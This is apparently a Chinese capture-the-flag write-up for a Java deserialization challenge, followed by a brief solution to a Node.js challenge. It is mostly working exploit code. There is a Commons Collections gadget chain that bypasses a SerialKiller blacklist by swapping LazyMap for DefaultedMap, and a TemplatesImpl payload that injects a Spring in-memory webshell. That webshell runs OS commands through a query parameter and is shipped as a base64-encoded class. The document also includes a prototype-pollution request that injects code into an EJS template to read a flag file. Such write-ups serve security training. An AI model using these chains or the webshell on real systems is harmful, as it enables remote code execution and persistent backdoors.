绿城杯java

绿城杯java

去年的比赛有个java题，当时一直没学。

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java

参考https://ha1c9on.top/?p=1908和mrctf题解，有很多解法
黑名单如下

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<?xml version="1.0" encoding="UTF-8"?>
<!-- serialkiller.conf -->
<config>
    <refresh>6000</refresh>
    <mode>
        <!-- set to false for blocking mode -->
        <profiling>false</profiling>
    </mode>
    <blacklist>
        <regexps>
            <regexp>org\.apache\.commons\.beanutils\.BeanComparator$</regexp>
            <regexp>org\.apache\.commons\.collections\.Transformer$</regexp>
            <regexp>org\.apache\.commons\.collections\.functors\.InvokerTransformer$</regexp>
            <regexp>org\.apache\.commons\.collections\.map\.LazyMap</regexp>
            <regexp>com\.sun\.rowset\.JdbcRowSetImpl$</regexp>
            <regexp>java\.rmi\.registry\.Registry$</regexp>
            <regexp>java\.rmi\.server\.ObjID$</regexp>
            <regexp>java\.rmi\.server\.RemoteObjectInvocationHandler$</regexp>
            <regexp>org\.springframework\.beans\.factory\.ObjectFactory$</regexp>
            <regexp>org\.springframework\.core\.SerializableTypeWrapper\$MethodInvokeTypeProvider$</regexp>
            <regexp>org\.springframework\.aop\.framework\.AdvisedSupport$</regexp>
            <regexp>org\.springframework\.aop\.target\.SingletonTargetSource$</regexp>
            <regexp>org\.springframework\.aop\.framework\.JdkDynamicAopProxy$</regexp>
            <regexp>org\.springframework\.core\.SerializableTypeWrapper\$TypeProvider$</regexp>
            <regexp>org\.springframework\.aop\.framework\.JdkDynamicAopProxy$</regexp>
            <regexp>java\.util\.PriorityQueue$</regexp>
            <regexp>java\.lang\.reflect\.Proxy$</regexp>
            <regexp>javax\.management\.MBeanServerInvocationHandler$</regexp>
            <regexp>javax\.management\.openmbean\.CompositeDataInvocationHandler$</regexp>
            <regexp>java\.beans\.EventHandler$</regexp>
            <regexp>java\.util\.Comparator$</regexp>
            <regexp>org\.reflections\.Reflections$</regexp>
        </regexps>
    </blacklist>
    <whitelist>
        <regexps>
            <regexp>.*</regexp>
        </regexps>
    </whitelist>
</config>

只过滤了下面这些，用3.2新增的DefaultMap替换LazyMap，然后用templates的链子即可

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- org\.apache\.commons\.collections\.Transformer
- org\.apache\.commons\.collections\.map\.LazyMap
- org\.apache\.commons\.collections\.functors\.InvokerTransformer

mrctf的exp稍微改改map类就行了

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import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.DefaultedMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.*;

public class test {

    public static void main(String[] args) throws Exception {
        byte[] bytes = ClassPool.getDefault().get(HelloTemplatesImpl.class.getName()).toBytecode();
        byte[][] bytecode = new byte[][]{bytes};
        HashMap innermap = new HashMap();
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setField(templates,"_bytecodes",bytecode);
        setField(templates,"_name","test");
        setField(templates,"_class",null);
        DefaultedMap map = (DefaultedMap)DefaultedMap.decorate(innermap,new FactoryTransformer(new InstantiateFactory(TrAXFilter.class,new Class[]{Templates.class},new Object[]{templates})));

        TiedMapEntry tiedmap = new TiedMapEntry(map,123);

        HashSet hashset = new HashSet(1);
        hashset.add("foo");

        Field field = Class.forName("java.util.HashSet").getDeclaredField("map");
        field.setAccessible(true);
        HashMap hashset_map = (HashMap) field.get(hashset);

        Field table = Class.forName("java.util.HashMap").getDeclaredField("table");
        table.setAccessible(true);
        Object[] array = (Object[])table.get(hashset_map);

        Object node = array[0];
        if(node == null){
            node = array[1];
        }

        Field key = node.getClass().getDeclaredField("key");
        key.setAccessible(true);
        key.set(node,tiedmap);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc6"));
            outputStream.writeObject(hashset);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc6"));
            Path file = Paths.get("cc6");
            System.out.println(Base64.getEncoder().encodeToString(Files.readAllBytes(file)));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void setField(Object obj, String field,Object value) throws Exception {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj,value);
    }
}

网上大佬的exp

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import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.DefaultedMap;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
import java.util.Base64;
public class Payload {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{
                ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()
        });
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[] { Templates.class },
                        new Object[] { obj })
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
        Map hashMap = new HashMap();
        Map outerMap = DefaultedMap.decorate(hashMap, transformerChain);
        // 用恶意Map初始化TiedMapEntry类
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "key");
        // 将构造好的TiedMapEntry对象作为HashMap的一个key
        HashMap evalMap = new HashMap();
        evalMap.put(tiedMapEntry, "test");
        outerMap.remove("key");
        // 用反射设置把恶意构造的Transformer
        Field declaredFields = ChainedTransformer.class.getDeclaredField("iTransformers");
        // 设置权限
        declaredFields.setAccessible(true);
        declaredFields.set(transformerChain, transformers);
        // ==================
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(evalMap);
        oos.close();
        System.out.println(new String(Base64.getEncoder().encode(barr.toByteArray())));
    }
}

打spring内存马,成功后访问?code={{cmd}}即可
参考spring内存马

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import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.servlet.support.RequestContextUtils;

public class inject extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc");
//            WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
//从requestMappingHandlerMapping中获取adaptedInterceptors属性 老版本是DefaultAnnotationHandlerMapping
            WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
            org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean(RequestMappingHandlerMapping.class);

            java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
            field.setAccessible(true);
            java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>) field.get(abstractHandlerMapping);

            String className = "magicInterceptor";
            //加载com.example.spring.magicInterceptor类的字节码
            String b64 = "yv66vgAAADQAhwoAIABGCAA4CwBHAEgLAEkASggASwgATAoATQBOCgAMAE8IAFAKAAwAUQcAUgcAUwgAVAgAVQoACwBWCABXCABYBwBZCgALAFoKAFsAXAoAEgBdCABeCgASAF8KABIAYAoAEgBhCgASAGIKAGMAZAoAYwBlCgBjAGIHAGYHAGcHAGgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAJUxjb20vZXhhbXBsZS9zcHJpbmcvbWFnaWNJbnRlcmNlcHRvcjsBAAlwcmVIYW5kbGUBAGQoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0OylaAQABcAEAGkxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7AQAGd3JpdGVyAQAVTGphdmEvaW8vUHJpbnRXcml0ZXI7AQABbwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAAWMBABNMamF2YS91dGlsL1NjYW5uZXI7AQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEAB2hhbmRsZXIBABJMamF2YS9sYW5nL09iamVjdDsBAARjb2RlAQANU3RhY2tNYXBUYWJsZQcAUwcAaQcAUgcAWQcAZwcAagcAawcAbAcAZgEACkV4Y2VwdGlvbnMBAApTb3VyY2VGaWxlAQAVbWFnaWNJbnRlcmNlcHRvci5qYXZhDAAhACIHAGoMAG0AbgcAawwAbwBwAQAAAQAHb3MubmFtZQcAcQwAcgBuDABzAHQBAAN3aW4MAHUAdgEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgEAEGphdmEvbGFuZy9TdHJpbmcBAAdjbWQuZXhlAQACL2MMACEAdwEABy9iaW4vc2gBAAItYwEAEWphdmEvdXRpbC9TY2FubmVyDAB4AHkHAHoMAHsAfAwAIQB9AQACXEEMAH4AfwwAgACBDACCAHQMAIMAIgcAaQwAhACFDACGACIBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAjY29tL2V4YW1wbGUvc3ByaW5nL21hZ2ljSW50ZXJjZXB0b3IBAEFvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L2hhbmRsZXIvSGFuZGxlckludGVyY2VwdG9yQWRhcHRlcgEAE2phdmEvaW8vUHJpbnRXcml0ZXIBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBABBqYXZhL2xhbmcvT2JqZWN0AQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEAB2hhc05leHQBAAMoKVoBAARuZXh0AQAFY2xvc2UBAAV3cml0ZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABWZsdXNoACEAHwAgAAAAAAACAAEAIQAiAAEAIwAAAC8AAQABAAAABSq3AAGxAAAAAgAkAAAABgABAAAABwAlAAAADAABAAAABQAmACcAAAABACgAKQACACMAAAG6AAYACQAAAK8rEgK5AAMCADoEGQTGAKEsuQAEAQA6BRIFOgYSBrgAB7YACBIJtgAKmQAiuwALWQa9AAxZAxINU1kEEg5TWQUZBFO3AA86B6cAH7sAC1kGvQAMWQMSEFNZBBIRU1kFGQRTtwAPOge7ABJZGQe2ABO2ABS3ABUSFrYAFzoIGQi2ABiZAAsZCLYAGacABRkGOgYZCLYAGhkFGQa2ABsZBbYAHBkFtgAdpwAFOgUDrASsAAEADwCmAKkAHgADACQAAABGABEAAAAKAAoACwAPAA0AFwAOABsAEAArABEASgATAGYAFQB8ABYAkAAXAJUAGACcABkAoQAaAKYAHACpABsAqwAdAK0AHwAlAAAAZgAKAEcAAwAqACsABwAXAI8ALAAtAAUAGwCLAC4ALwAGAGYAQAAqACsABwB8ACoAMAAxAAgAAACvACYAJwAAAAAArwAyADMAAQAAAK8ANAA1AAIAAACvADYANwADAAoApQA4AC8ABAA5AAAAOQAH/gBKBwA6BwA7BwA6/AAbBwA8/AAlBwA9QQcAOv8AGgAFBwA+BwA/BwBABwBBBwA6AAEHAEIBAQBDAAAABAABAB4AAQBEAAAAAgBF"; // magicInterceptor类class的base64编码
            byte[] bytes = sun.misc.BASE64Decoder.class.newInstance().decodeBuffer(b64);
            java.lang.ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
            java.lang.reflect.Method m0 = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
            m0.setAccessible(true);
            m0.invoke(classLoader, className, bytes, 0, bytes.length);
            //添加com.example.spring.magicInterceptor类到adaptedInterceptors
            adaptedInterceptors.add(classLoader.loadClass(className).newInstance());

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

Looking for treasure

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POST /validated/json-schema/validate
Content-Type: application/json
{
    "$schema":{
    "type":"object","properties":{
    "__proto__":{
    "type":"object","properties":{
    "outputFunctionName":{
    "type":"string","default":"x;var buf = Buffer.alloc(128);var fs = process.mainModule.require(`fs`);var fd=fs.openSync(`/fl`+`ag`);fs.readSync(fd, buf, 0, 128);fs.closeSync(fd);return buf.toString();//x"},"path":{
    "type":"string","default":"/foo"}}}}}}
ctf
ctf web

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